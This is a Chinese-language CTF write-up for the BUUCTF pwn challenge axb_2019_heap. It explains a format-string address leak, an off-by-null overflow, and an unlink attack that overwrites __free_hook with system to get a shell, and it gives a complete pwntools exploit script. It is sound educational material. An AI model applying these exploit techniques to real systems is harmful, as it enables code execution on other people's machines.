Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)

Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)

例行检查Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)_第1张图片

64位,保护机制全开,IDA中分析

漏洞分析

在这里插入图片描述
此处edit()函数中会多写入\x00字节,导致溢出一个\x00字节,存在of by null 漏洞,add()中限制了我们申请堆块的大小,只能申请大于0x80的堆块

利用思路

1.利用格式化字符串漏洞泄露出程序基地址和libc基地址
2.利用unlink,通过unlink修改chunk0的内存地址为free_hook地址,再次edit0号堆块,覆写为system地址
3.free掉chunk中为’/bin/sh’的堆块,get shell.

分析

1.经过调试可以看到%14$p%$15p的位置上分别是程序地址和libc中的地址,通过格式化字符串漏洞泄露出来
Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)_第2张图片
算出free_hook地址和system地址

io.recvuntil(':')
io.sendline('%14$p%15$p')
io.recvuntil('Hello, 0x')
elf = int(io.recv(12),16)
elf_base = elf - 0x1200
io.recvuntil('0x')
leak = int(io.recv(12),16)
libc_base = leak - 0x20840
success(hex(elf_base))
success(hex(libc_base))
note = elf_base + 0x202060
success(hex(note))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

success(hex(free_hook))
success(hex(system))

2.之后通过堆布局,运用unlink覆写free_hook为system,

add(0,0x88,'AAAA')
add(1,0xf0,'AAAA')
add(2,0x90,'BBBB')
add(3,0x90,'/bin/sh\x00')

此时的堆中布局

Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)_第3张图片
这里屏幕原因,最后一个堆块没截全,unlink前的note中为
Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)_第4张图片
接下来通过伪造堆头来unlink

edit(0,p64(0) + p64(0x81) + p64(note-0x18) + p64(note-0x10) + p64(0)*12 + p64(0x80))# fd--> note-0x18  , bk--> note-0x10,此处为了绕过unlink检查机制
free(1)

伪造的堆头:
Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)_第5张图片
此处通过of by null修改了下个chunk的pre_inuse位,free过1 之后,note链表结构为:
Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)_第6张图片
chunk0的内存地址被我们改写为note-0x18的位置,
接下来通过edit0号堆块,将此地址改写为free_hook地址,再覆写为system

edit(0,p64(0)*3 + p64(free_hook) + p64(0x10))
edit(0,p64(system))

修改后:
Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)_第7张图片
成功覆写为system,free(3)即可get shell

完整exp:

from pwn import *
elf = ELF('./axb_2019_heap')
io = process('./axb_2019_heap')
libc = elf.libc
context(log_level='debug')

def choice(c):
	io.recvuntil('>>')
	io.sendline(str(c))

def add(index,size,content):
	choice(1)
	io.recvuntil(':')
	io.sendline(str(index))
	io.recvuntil(':')
	io.sendline(str(size))
	io.recvuntil(':')
	io.sendline(content)

def free(index):
	choice(2)
	io.recvuntil(':')
	io.sendline(str(index))

def edit(index,content):
	choice(4)
	io.recvuntil(':')
	io.sendline(str(index))
	io.recvuntil(':')
	io.sendline(content)


io.recvuntil(':')

io.sendline('%14$p%15$p')
io.recvuntil('Hello, 0x')

elf = int(io.recv(12),16)
elf_base = elf - 0x1200
io.recvuntil('0x')
leak = int(io.recv(12),16)
libc_base = leak - 0x20840
success(hex(elf_base))
success(hex(libc_base))
note = elf_base + 0x202060
success(hex(note))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

success(hex(free_hook))
success(hex(system))


add(0,0x88,'AAAA')
add(1,0xf0,'AAAA')
add(2,0x90,'BBBB')
add(3,0x90,'/bin/sh\x00')

edit(0,p64(0) + p64(0x81) + p64(note-0x18) + p64(note-0x10) + p64(0)*12 + p64(0x80))

free(1)

edit(0,p64(0)*3 + p64(free_hook) + p64(0x10)) #此处0x10为0号堆块的size,不加的话会出现报错
edit(0,p64(system))
gdb.attach(io)
free(3)

io.interactive()

Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)_第8张图片
get shell!!

你可能感兴趣的:(buuctf刷题,安全,pwn)